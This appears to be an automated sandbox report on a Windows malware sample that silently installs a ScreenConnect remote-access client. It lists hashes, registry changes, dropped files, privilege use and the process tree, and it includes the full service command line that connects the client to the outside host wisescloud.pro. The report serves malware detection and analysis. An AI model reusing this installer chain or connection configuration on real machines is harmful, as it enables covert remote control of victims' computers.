Analysis
- max time kernel
138s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system - submitted
13/06/2024, 04:07
Static task
static1
Behavioral task
behavioral1
Sample
5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe
Resource
win7-20240508-en
windows7-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe
Resource
win10v2004-20240611-en
windows10-2004-x64
18 signatures
150 seconds
General
- Target 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe
- Size 5.2MB
- Sample240613-epv8hsxdml
- SHA256 325c5b5b1e908a8cfc40c0a8f99c380d7791b443eb727396eeefc255b7f0be94
- MD5 5d2cada51110f22b103bbffc170444e0
- SHA1 0053f32fab43e338f5d35912c6a8443ccf95cee0
- SHA512 3cde94c62c23c5c7e513dc758a9f7d9484ed8f0274a75f8d991f3d54e288c41611b0452b6275cc5ce666be75fec8ffab25b708805c1a2ff64efc86e261d8340a
- SSDEEP 98304:Hps6efPfBOPvLtabi4X0MV+dYdcGt7VIb4:JfefPJws3V+a
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (034dfb5118a73fb6)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (034dfb5118a73fb6)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=wisescloud.pro&p=8041&s=edbf602d-8e36-4fb8-b759-dde680cb62b4&k=BgIAAACkAABSU0ExAAgAAAEAAQD9KmplZJ81oG%2ba2%2bBWVLmpfohLlvCUXrepeNS1R%2fuw7DqRwObsF0xQH%2bV8%2b2acClFwH8RZp%2fO5JxqkwAxSE7fJ5Wx0EOvlTi3kT0Weq1uP%2fo6y5m59jH9QWbnQ%2b0EljzizFtAC5j%2bW%2by%2fwXuqL2kelsCK6NwWhNWASFFQ0azEtLh3MNB2KGiuvXCu8uRcSESk9%2bLkvf38mkC%2b45xB%2fIqX%2byZVyfl25mreqO5WqPvfUAqo9My%2fZ1jwvnyIyGd4ZHM2A%2b9iuK8YhdqTFk3RnWRRK%2fNqz%2bnceOAgEQ5R6SqwAHJZ%2bHzazt2v60%2feKd%2fMosf73UTGwN3svFojeLQLh%2fV3A&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAlSRF3hvl%2b0CMwEQee0qpuwAAAAACAAAAAAAQZgAAAAEAACAAAABNDWbcQMNN%2ftKiNYfQXF5Afu4XB%2bsZW4vuyojlKBkX8AAAAAAOgAAAAAIAACAAAAAhA52nFfwMS%2bJj3PXubQkj8veqP68NFXl7xjdWAEMOmaAEAAAXBhZ6mXB8NROL7VhzaKeCT6qqMdVE76%2fQ3QxJm5wxlkNuDF3fkSwn2lQpdNTZClpTd6TOZNKX0IFKhxyyiQuZRQd6WEoRDOGSNusbajJ0zGfSf17apbPSpc2YAYTNiH9FB%2fNaIu%2fU0wl2UeEW3xQ4ihq9PLCGewrQgfY82sPuIc3s%2bbd6RzGud1FqNSTNOcMkDEtieZmAGY8B%2fxO%2brW22R%2fHe%2bKTS3ehZscVW%2bRCz1DOtTpqIMBntQDvbHC66W6C%2f4lrWA6UJPjbeaG%2fAvDgJffXEkWnyuak199mzVpf%2fVPfZC9dwSqem5a8rtVWqP0taiKi5rBypOYo2m%2bOcDDynzPfUr78DH7AjkXVedZftxLO1XS2TAKfNj2mAbDMN%2fW5HMF%2fRQ2inn32O8zAhZK2qgkbeGTI%2fNjhuzIjGnYVrokRdGUuUZr16hPPnhw7rh0btc0yBqMgYwR3DoVr%2fN%2bejpfT7sMoyrcbAmatE0PEJJZswaMHnBDARNlR%2f4W%2f0Sh0n2vEvEA9tX4AmLyptlUap7YHS0Sk2tfTxs21Hufafgj8D1577DYYip%2bveoPilNf6xWjEoEGioYuEjx9LSUUzAkIkQLuQlgqxGhIO%2fF1WzTZRptlSRKKDbaaslBKXzDwJGdCjjht6Nr6%2bJGILISM3Wkesh4oqE%2fqtljUCEOlDBv9kTx67UCT6Y3IdqM9%2f8louhdoVZYssOs4qIF%2f86bsJXYZ4fB82blOgQydIhZ5%2fBhsBvTKQfe93M8%2ftUIzJkLKYl%2bye5zibCcHDCpmC5MmqEQ0aCVNK5dt3Wcv8XNa6JT6uvlWXrKdengchJajRP3Qy6hcz0rouC4Q4XssH2xYnDBc9bs9Ok0BKO7zr%2frYHVzXfqhpHFlgZlNRC5dxarIflmVMP%2fJJrLWz7erM9b5ascz%2f8d9V52HbkLUNBCToRP0eyrQ9gqTp06oF%2b5Va14XvdHEg%2bkrd4%2b0Q%2b4m%2bKEREfTy0XLnEQenT143qlFgAOBjgnZScTcxgbzhWRa8%2f6mFJM7UvR3IinfKBS3tJuSRWqDTegISLomhsmkXkWXpvT4LHMOXBKzuFlOonk9SR13dcSRVQbCXZJqzAPQ8dmh9Egj5Ixy1%2fOquhbUjmozTcNdU49dQ1K%2bA%2bg2KFqyK%2bsIE0IMTw%2fSC%2b3geJ1X%2fNIkOziQ4v%2fyKvo6bn3c8%2biAyUfphBlV2JWx8IlWkzt1e2oEpOVJHplKT2zGTYrKsdH7cwAE6%2bg%2bmKzxdOAvvr5ueHrMjU5vIfdgLvMFc9sQez115dV65YpFwKBOfdMs2BcZKfH1yU9ky6%2fTwYL4QsNejResypzMs76xMKDxYaNtWuBtnyI%2fTX%2bEnIDMuPaNFk8Y6X%2fUZznx49tflDl22QpRIC3JIiVzF4Zmqh2NzJEAcNp5xNS2k2l%2ftnhEDbibKfmRXnyyAVDwZT8Bq5qQH3pLMKLrCXIflU81DrGyrrOvcTpEcBavtwOXWzbTem6sIfe0F2TkH56zMA5ifcChJYX%2bfpFcnDbd9O9k0vl17DOLIbbKLz%2bBYdt7ghgYaB1g7elCdRyDW8Mr505LQSgIzBtPaW5wskAAAAAlxGHSOyLz9b077CHF2cBdsQI9sOHXy7KmDveiWySZM51pVNGh0jOvQr3bioWSzSsO6aLl00z9BIMjHvmrYz5h\"" ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe - Drops file in Program Files directory 16 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe.config msiexec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIAF0C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAF5B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB0C4.tmp msiexec.exe File created C:\Windows\Installer\wix{D600AD70-5121-1E6D-D48A-65321EA0E9C5}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e57ade5.msi msiexec.exe File opened for modification C:\Windows\Installer\e57ade3.msi msiexec.exe File created C:\Windows\Installer\{D600AD70-5121-1E6D-D48A-65321EA0E9C5}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\SourceHash{D600AD70-5121-1E6D-D48A-65321EA0E9C5} msiexec.exe File opened for modification C:\Windows\Installer\{D600AD70-5121-1E6D-D48A-65321EA0E9C5}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e57ade3.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 1892 ScreenConnect.ClientService.exe 2316 ScreenConnect.WindowsClient.exe - Loads dropped DLL 20 IoCs
pid Process 2100 MsiExec.exe 2212 rundll32.exe 2212 rundll32.exe 2212 rundll32.exe 2212 rundll32.exe 2212 rundll32.exe 2212 rundll32.exe 2212 rundll32.exe 4620 MsiExec.exe 2456 MsiExec.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe - Registers COM server for autorun 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (034dfb5118a73fb6)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000043e29724379355490000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000043e297240000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090043e29724000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d43e29724000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000043e2972400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2A\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe - Modifies registry class 37 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\ProductName = "ScreenConnect Client (034dfb5118a73fb6)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\034dfb5118a73fb6\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\ = "ScreenConnect Client (034dfb5118a73fb6) Credential Provider" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\034dfb5118a73fb6\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\Version = "386465802" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\ProductIcon = "C:\\Windows\\Installer\\{D600AD70-5121-1E6D-D48A-65321EA0E9C5}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07DA006D1215D6E14DA85623E10A9E5C\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07DA006D1215D6E14DA85623E10A9E5C msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (034dfb5118a73fb6)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\PackageCode = "07DA006D1215D6E14DA85623E10A9E5C" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4FCBC5317600470330D4BF15817AF36B\07DA006D1215D6E14DA85623E10A9E5C msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\PackageName = "setup.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\UseOriginalUrlEncoding = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\shell msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-09B1-EA35350608C4}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4FCBC5317600470330D4BF15817AF36B msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07DA006D1215D6E14DA85623E10A9E5C\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-034dfb5118a73fb6\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-034dfb5118a73fb6\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (034dfb5118a73fb6)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-034dfb5118a73fb6 msiexec.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2316 ScreenConnect.WindowsClient.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4616 msiexec.exe 4616 msiexec.exe 1892 ScreenConnect.ClientService.exe 1892 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 920 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe Token: SeShutdownPrivilege 904 msiexec.exe Token: SeIncreaseQuotaPrivilege 904 msiexec.exe Token: SeSecurityPrivilege 4616 msiexec.exe Token: SeCreateTokenPrivilege 904 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 904 msiexec.exe Token: SeLockMemoryPrivilege 904 msiexec.exe Token: SeIncreaseQuotaPrivilege 904 msiexec.exe Token: SeMachineAccountPrivilege 904 msiexec.exe Token: SeTcbPrivilege 904 msiexec.exe Token: SeSecurityPrivilege 904 msiexec.exe Token: SeTakeOwnershipPrivilege 904 msiexec.exe Token: SeLoadDriverPrivilege 904 msiexec.exe Token: SeSystemProfilePrivilege 904 msiexec.exe Token: SeSystemtimePrivilege 904 msiexec.exe Token: SeProfSingleProcessPrivilege 904 msiexec.exe Token: SeIncBasePriorityPrivilege 904 msiexec.exe Token: SeCreatePagefilePrivilege 904 msiexec.exe Token: SeCreatePermanentPrivilege 904 msiexec.exe Token: SeBackupPrivilege 904 msiexec.exe Token: SeRestorePrivilege 904 msiexec.exe Token: SeShutdownPrivilege 904 msiexec.exe Token: SeDebugPrivilege 904 msiexec.exe Token: SeAuditPrivilege 904 msiexec.exe Token: SeSystemEnvironmentPrivilege 904 msiexec.exe Token: SeChangeNotifyPrivilege 904 msiexec.exe Token: SeRemoteShutdownPrivilege 904 msiexec.exe Token: SeUndockPrivilege 904 msiexec.exe Token: SeSyncAgentPrivilege 904 msiexec.exe Token: SeEnableDelegationPrivilege 904 msiexec.exe Token: SeManageVolumePrivilege 904 msiexec.exe Token: SeImpersonatePrivilege 904 msiexec.exe Token: SeCreateGlobalPrivilege 904 msiexec.exe Token: SeCreateTokenPrivilege 904 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 904 msiexec.exe Token: SeLockMemoryPrivilege 904 msiexec.exe Token: SeIncreaseQuotaPrivilege 904 msiexec.exe Token: SeMachineAccountPrivilege 904 msiexec.exe Token: SeTcbPrivilege 904 msiexec.exe Token: SeSecurityPrivilege 904 msiexec.exe Token: SeTakeOwnershipPrivilege 904 msiexec.exe Token: SeLoadDriverPrivilege 904 msiexec.exe Token: SeSystemProfilePrivilege 904 msiexec.exe Token: SeSystemtimePrivilege 904 msiexec.exe Token: SeProfSingleProcessPrivilege 904 msiexec.exe Token: SeIncBasePriorityPrivilege 904 msiexec.exe Token: SeCreatePagefilePrivilege 904 msiexec.exe Token: SeCreatePermanentPrivilege 904 msiexec.exe Token: SeBackupPrivilege 904 msiexec.exe Token: SeRestorePrivilege 904 msiexec.exe Token: SeShutdownPrivilege 904 msiexec.exe Token: SeDebugPrivilege 904 msiexec.exe Token: SeAuditPrivilege 904 msiexec.exe Token: SeSystemEnvironmentPrivilege 904 msiexec.exe Token: SeChangeNotifyPrivilege 904 msiexec.exe Token: SeRemoteShutdownPrivilege 904 msiexec.exe Token: SeUndockPrivilege 904 msiexec.exe Token: SeSyncAgentPrivilege 904 msiexec.exe Token: SeEnableDelegationPrivilege 904 msiexec.exe Token: SeManageVolumePrivilege 904 msiexec.exe Token: SeImpersonatePrivilege 904 msiexec.exe Token: SeCreateGlobalPrivilege 904 msiexec.exe Token: SeCreateTokenPrivilege 904 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 904 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 904 msiexec.exe 904 msiexec.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 920 wrote to memory of 904 920 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe 84 PID 920 wrote to memory of 904 920 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe 84 PID 920 wrote to memory of 904 920 5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe 84 PID 4616 wrote to memory of 2100 4616 msiexec.exe 88 PID 4616 wrote to memory of 2100 4616 msiexec.exe 88 PID 4616 wrote to memory of 2100 4616 msiexec.exe 88 PID 2100 wrote to memory of 2212 2100 MsiExec.exe 89 PID 2100 wrote to memory of 2212 2100 MsiExec.exe 89 PID 2100 wrote to memory of 2212 2100 MsiExec.exe 89 PID 4616 wrote to memory of 4000 4616 msiexec.exe 93 PID 4616 wrote to memory of 4000 4616 msiexec.exe 93 PID 4616 wrote to memory of 4620 4616 msiexec.exe 95 PID 4616 wrote to memory of 4620 4616 msiexec.exe 95 PID 4616 wrote to memory of 4620 4616 msiexec.exe 95 PID 4616 wrote to memory of 2456 4616 msiexec.exe 96 PID 4616 wrote to memory of 2456 4616 msiexec.exe 96 PID 4616 wrote to memory of 2456 4616 msiexec.exe 96 PID 1892 wrote to memory of 2316 1892 ScreenConnect.ClientService.exe 98 PID 1892 wrote to memory of 2316 1892 ScreenConnect.ClientService.exe 98 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\5d2cada51110f22b103bbffc170444e0_NeikiAnalytics.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\034dfb5118a73fb6\setup.msi"2⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:904
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Registers COM server for autorun
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BB18DEC0903EF357FA66B965C430DD35 C2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240610015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
PID:2212
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:4000
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 85A9C6B9C63676966745B34362DB5CCC2⤵
- Loads dropped DLL
